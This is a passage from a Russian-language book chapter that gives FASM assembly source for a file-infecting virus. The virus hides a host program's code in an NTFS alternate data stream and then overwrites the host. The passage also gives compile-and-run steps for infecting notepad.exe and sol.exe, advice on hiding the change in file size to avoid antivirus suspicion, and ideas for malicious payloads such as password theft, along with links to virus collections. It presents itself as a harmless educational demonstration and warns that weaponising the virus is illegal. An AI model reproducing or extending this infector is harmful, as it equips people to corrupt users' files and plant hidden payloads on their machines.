      push buf

      call [CreateProcess]

      jmp go2exit ; Выходим из вируса


infect:

      ; Устанавливаем eax на первый символ имени файла-жертвы

      ; (далее по тексту dst)

      add eax, 4

      xchg eax, ebp

      xor eax,eax

      inc eax


      ; Здесь можно вставить проверку dst на заражение


      ; Переименовываем dst в foo

      push foo

      push ebp

      call [RenameFile]


      ; Копируем в foo основной поток dst

      push eax

      push ebp

      push buf

      call [CopyFile]


      ; Добавляем к своему имени имя потока NTFS

      mov esi, ebp

      mov edi, buf

copy_rool:

      lodsb

      stosb

      test al,al

      jnz copy_rool

      mov esi, code_name

      dec edi

copy_rool2:

      lodsb

      stosb

      test al,al

      jnz copy_rool2


      ; Копируем foo в dst:bar

      push eax

      push buf

      push foo

      call [CopyFile]


      ; Здесь не помешает добавить коррекцию длины заражаемого файла

      ; Удаляем foo

      push foo

      call [DeleteFile]


      ; Выводим диагностическое сообщение,

      ; подтверждающее успешность заражения файла

      push 0

      push aInfected

      push ebp

      push 0

      call [MessageBox]


      ; Выход из вируса

go2exit:

      push 0

      call [ExitProcess]


section '.data' data readable writeable

      foo db "foo",0        ; Имя временного файла

      code_name db ":bar",0 ; Имя потока, в котором будет...

      code_name_end:        ; ...сохранено основное тело


      ; Различные текстовые строки, выводимые вирусом

      aInfected db "infected",0

      aHello db "Hello, you are hacked"


      ; Различные буфера для служебных целей

      buf rb 1000

      xxx rb 1000

Компиляция и тестирование вируса

Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.

Скачайте последнюю версию FASM, распакуйте архив и в командной строке наберите следующую команду:

fasm.exe xcode.asm
. Если все сделано правильно, на диске должен появиться файл
xcode.exe
. Запустим его на выполнение с опцией командной строки
--*
, за которой следует имя файла, который требуется заразить, например, notepad.exe (
xcode.exe --* notepad.exe
). Появление диалогового окна, показанного на рис. 6.6, свидетельствует об успешном внедрении. Если попытка заражения потерпела неудачу, первым делом необходимо убедиться в наличии прав доступа к файлу. Захватывать их самостоятельно наш вирус не собирается. Во всяком случае, пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.

Рис. 6.6. Диалоговое окно, свидетельствующее об успешном заражении

Теперь запустите зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно (рис. 6.7), а после нажатия на кнопку OK передает управление оригинальному коду программы.

Рис. 6.7. Диалоговое окно, отображаемое зараженным файлом при запуске на исполнение

Чтобы не возбуждать у пользователя подозрений, настоящий вирусописатель удалит это диалоговое окно из финальной версии вируса, заменив его какой-нибудь вредоносной "начинкой". Тут все зависит от вирусописательских намерений и фантазии. Например, можно перевернуть экран, сыграть над пользователем еще какую-нибудь безобидную шутку, или же заняться более зловредной деятельностью вроде похищения паролей или другой конфиденциальной информации.

Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Например, чтобы заразить игру Solitaire, следует дать команду

notepad.exe --* sol.exe
. Кстати говоря, ни один пользователь в здравом уме не будет самостоятельно заражать файлы через командную строку. Поэтому вирусописатель должен будет разработать процедуру поиска очередного кандидата на заражение самостоятельно.

Внимание!

До сих пор рассматриваемый вирус действительно был абсолютно безобиден. Он не размножается самостоятельно и не выполняет никаких злонамеренных или деструктивных действий. Ведь он создан лишь для демонстрации потенциальной опасности, подстерегающей пользователей NTFS. Исследовательская деятельность преступлением не является. Но вот если кто-то из вас решит доработать вирус так, чтобы он самостоятельно размножался и осуществлял вредоносные действия, то следует напомнить, что это уже станет уголовно наказуемым деянием.

Так что вместо разработки вредоносной начинки будем совершенствовать вирус в другом направлении. При повторном заражении файла текущая версия необратимо затирает оригинальный код своим телом, в результате чего файл станет неработоспособным. Вот беда! Как же ее побороть? Можно добавить проверку на зараженность перед копированием вируса в файл. Для этого следует вызвать функцию

CreateFile
, передать ей имя файла вместе с потоком (например,
notepad.exe:bar
) и проверить результат. Если файл открыть не удалось, значит, потока
bar
этот файл не содержит, и, следовательно, он еще не заражен. Если же файл удалось успешно открыть, следует отказаться от заражения или выбрать другой поток. Например:
bar_01
,
bar_02
,
bar_03
.

Еще одна проблема заключается в том, что вирус не корректирует длину целевого файла, и после внедрения она станет равной 4 Кбайт (именно таков размер текущей версии xcode.exe). Это плохо, так как пользователь тут же заподозрит подвох (файл explorer.exe, занимающий 4 Кбайт, выглядит довольно забавно), занервничает и начнет запускать антивирусы. Чтобы устранить этот недостаток, можно запомнить длину инфицируемого файла перед внедрением, затем скопировать в основной поток тело вируса, открыть файл на запись и вызвать функцию

SetFilePointer
для установки указателя на оригинальный размер, увеличивая размер инфицированного файла до исходного значения.

Предложенная стратегия внедрения, конечно, не является идеальной, но все же это намного лучше, чем прописываться в реестре, который контролируется множеством утилит мониторинга. Наконец, чтобы не пострадать от своего же собственного вируса, каждый вирусописатель всегда должен иметь под рукой противоядие. Командный файл, приведенный в листинге 6.6, извлекает оригинальное содержимое файла из потока bar и записывает его в файл reborn.exe.

Листинг 6.6. Командный файл, восстанавливающий зараженные файлы в исходное состояние

more < %1:bar > reborn.exe

ECHO I'm reborn now!

Энумерация потоков

Как определить, что за потоки содержатся внутри файла? Штатными средствами операционной системы сделать это невозможно. Функции для работы с потоками не документированы и доступны только через Native API. Вот эти функции:

NtCreateFile
,
NtQueryEaFile
и
NtSetEaFile
. Их описание можно найти в следующей книге: "The Undocumented Functions Microsoft Windows NT/2000" by Tomasz Nowak. Электронную копию этой книги можно бесплатно скачать по следующему адресу: http://undocumented.ntinternals.net/title.html. Кроме того, рекомендуется прочесть статью "Win2k.Stream" из 5-го номера вирусного журнала #29А, да и другие журналы пролистать не мешает.

Создание нового потока осуществляется вызовом функции

NtCreateFile
, среди прочих аргументов принимающей указатель на структуру
FILE_FULL_EA_INFORMATION
, передаваемый через
EaBuffer
. Можно также воспользоваться функцией
NtSetEaFile
, передав ей дескриптор, возращенный функцией
NtCreateFile
, открывающей файл обычным образом. Перечислением (и чтением) всех имеющихся потоков занимается функция
NtQueryEaFile
. Прототипы всех функций и определения структур содержатся в файле NTDDK.H, в котором присутствует достаточное количество комментариев, позволяющее заинтересованному читателю самостоятельно разобраться в данном вопросе.

Полезные ссылки

http://www.wasm.ru — море полезных материалов по вирусам и ассемблеру, форум на котором тусуется множество матерых профессионалов, да и просто сайт, приятный во всех отношениях.

http://vx.netlux.org/ — гигантская коллекция вирусов и учебников по их написанию.

http://flatassembler.net/fasmw160.zip — бесплатная Windows-версия ассемблера FASM — самого правильного ассемблера из всех.

Глава 7